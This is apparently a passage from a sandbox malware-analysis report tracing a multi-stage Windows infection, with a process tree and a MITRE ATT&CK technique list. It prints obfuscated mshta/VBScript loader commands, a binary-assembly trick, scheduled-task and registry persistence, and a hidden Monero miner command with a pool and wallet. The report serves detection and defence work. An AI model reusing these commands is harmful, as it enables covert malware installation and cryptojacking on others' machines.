        Suspicious use of AdjustPrivilegeToken
        
        PID:2716
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20927aab1e5.exe
      4⤵
      Loads dropped DLL
      PID:1560
    - - C:\Users\Admin\AppData\Local\Temp\7zS04483806\Mon20927aab1e5.exe
        
        Mon20927aab1e5.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        
        PID:1696
      - C:\Users\Admin\AppData\Local\Temp\7zS04483806\Mon20927aab1e5.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS04483806\Mon20927aab1e5.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:1164
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon204014f13870f5e.exe
      4⤵
      Loads dropped DLL
      PID:1628
    - - C:\Users\Admin\AppData\Local\Temp\7zS04483806\Mon204014f13870f5e.exe
        
        Mon204014f13870f5e.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:1744
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon203f01ac7e6.exe
      4⤵
      Loads dropped DLL
      PID:1152
    - - C:\Users\Admin\AppData\Local\Temp\7zS04483806\Mon203f01ac7e6.exe
        
        Mon203f01ac7e6.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1872
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS04483806\Mon203f01ac7e6.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS04483806\Mon203f01ac7e6.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        6⤵
        
        PID:1240
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS04483806\Mon203f01ac7e6.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS04483806\Mon203f01ac7e6.exe") do taskkill /F -Im "%~NxU"
        7⤵
        Loads dropped DLL
        
        PID:892
        
        C:\Users\Admin\AppData\Local\Temp\09xU.exE
        
        09xU.EXE -pPtzyIkqLZoCarb5ew
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2060
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        9⤵
        Modifies Internet Explorer settings
        
        PID:2116
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
        10⤵
        
        PID:2192
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
        9⤵
        
        PID:2400
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
        10⤵
        
        PID:2496
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" eCHO "
        11⤵
        
        PID:2540
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
        11⤵
        
        PID:2592
        
        C:\Windows\SysWOW64\control.exe
        
        control .\R6f7sE.I
        11⤵
        
        PID:2676
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F -Im "Mon203f01ac7e6.exe"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2072
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon206d48916f93c5.exe
      4⤵
      PID:1708
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon209c830507d573.exe
      4⤵
      Loads dropped DLL
      PID:1252
    - - C:\Users\Admin\AppData\Local\Temp\7zS04483806\Mon209c830507d573.exe
        
        Mon209c830507d573.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        
        PID:288
      - C:\Users\Admin\AppData\Local\Temp\7zS04483806\Mon209c830507d573.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS04483806\Mon209c830507d573.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:1808
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon2083f8d8970a0b2d.exe
      4⤵
      Loads dropped DLL
      PID:1012
    - - C:\Users\Admin\AppData\Local\Temp\7zS04483806\Mon2083f8d8970a0b2d.exe
        
        Mon2083f8d8970a0b2d.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:2000
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20d3b8b752.exe
      4⤵
      Loads dropped DLL
      PID:996
    - - C:\Users\Admin\AppData\Local\Temp\7zS04483806\Mon20d3b8b752.exe
        
        Mon20d3b8b752.exe
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        
        PID:1604
      - C:\Users\Admin\Pictures\Adobe Films\DIjY1mxcQQEAOLCjaWMU5Cm8.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\DIjY1mxcQQEAOLCjaWMU5Cm8.exe"
        6⤵
        Executes dropped EXE
        
        PID:2660
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1604 -s 624
        6⤵
        Program crash
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        
        PID:1616
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon209b3da1556b9a317.exe
      4⤵
      Loads dropped DLL
      PID:1140
    - - C:\Users\Admin\AppData\Local\Temp\7zS04483806\Mon209b3da1556b9a317.exe
        
        Mon209b3da1556b9a317.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1640
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2428
        
        C:\Users\Admin\AppData\Local\Temp\inst1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2608
        
        C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
        7⤵
        Executes dropped EXE
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:2796
        
        C:\Users\Admin\AppData\Roaming\6312026.scr
        
        "C:\Users\Admin\AppData\Roaming\6312026.scr" /S
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2476
        
        C:\Users\Admin\AppData\Roaming\4301479.scr
        
        "C:\Users\Admin\AppData\Roaming\4301479.scr" /S
        8⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:2488
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        9⤵
        Executes dropped EXE
        
        PID:2920
        
        C:\Users\Admin\AppData\Roaming\6070341.scr
        
        "C:\Users\Admin\AppData\Roaming\6070341.scr" /S
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of AdjustPrivilegeToken
        
        PID:2804
        
        C:\Users\Admin\AppData\Roaming\5308226.scr
        
        "C:\Users\Admin\AppData\Roaming\5308226.scr" /S
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1516
        
        C:\Users\Admin\AppData\Roaming\4240763.scr
        
        "C:\Users\Admin\AppData\Roaming\4240763.scr" /S
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of AdjustPrivilegeToken
        
        PID:2940
        
        C:\Users\Admin\AppData\Roaming\6993898.scr
        
        "C:\Users\Admin\AppData\Roaming\6993898.scr" /S
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2512
        
        C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe"
        7⤵
        Executes dropped EXE
        
        PID:2828
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2828 -s 968
        8⤵
        Program crash
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        
        PID:3060
        
        C:\Users\Admin\AppData\Local\Temp\4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\4.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2860
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        8⤵
        Executes dropped EXE
        
        PID:2524
        
        C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe"
        9⤵
        Executes dropped EXE
        
        PID:1140
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\
        10⤵
        
        PID:2360
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\
        11⤵
        
        PID:1064
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN sqtvvs.exe /TR "C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe" /F
        10⤵
        Creates scheduled task(s)
        
        PID:2588
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        Executes dropped EXE
        
        PID:2920
        
        C:\Users\Admin\AppData\Local\Temp\is-UON5J.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-UON5J.tmp\setup.tmp" /SL5="$8019A,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"
        8⤵
        Executes dropped EXE
        
        PID:648
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        9⤵
        Executes dropped EXE
        
        PID:1564
        
        C:\Users\Admin\AppData\Local\Temp\is-J0OQS.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-J0OQS.tmp\setup.tmp" /SL5="$9019A,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        10⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Suspicious use of FindShellTrayWindow
        
        PID:1628
        
        C:\Users\Admin\AppData\Local\Temp\is-GN6AF.tmp\postback.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-GN6AF.tmp\postback.exe" ss1
        11⤵
        Executes dropped EXE
        
        PID:1256
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3028
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:2788
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:2812
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:1868
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:864
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:2844
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        Executes dropped EXE
        
        PID:2512
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1224
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20b6f9d5bd03a305.exe
      4⤵
      Loads dropped DLL
      PID:1948
    - - C:\Users\Admin\AppData\Local\Temp\7zS04483806\Mon20b6f9d5bd03a305.exe
        
        Mon20b6f9d5bd03a305.exe
        5⤵
        Executes dropped EXE
        
        PID:1228

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
1⤵
PID:2744
- C:\Windows\system32\RunDll32.exe
  C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
  2⤵
  PID:2376
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
    3⤵
    PID:2960

C:\Users\Admin\AppData\Local\Temp\518A.exe
C:\Users\Admin\AppData\Local\Temp\518A.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2732

C:\Windows\system32\taskeng.exe
taskeng.exe {957440C2-24B7-49C1-97E0-FFD9E1392DC0} S-1-5-21-3456797065-1076791440-4146276586-1000:JZCKHXIN\Admin:Interactive:[1]
1⤵
PID:2820
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:2776
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:1532
- C:\Users\Admin\AppData\Roaming\gwaefae
  C:\Users\Admin\AppData\Roaming\gwaefae
  2⤵
  - Executes dropped EXE
  PID:984
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:2992

C:\Users\Admin\AppData\Local\Temp\A8DE.exe
C:\Users\Admin\AppData\Local\Temp\A8DE.exe
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:2652

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery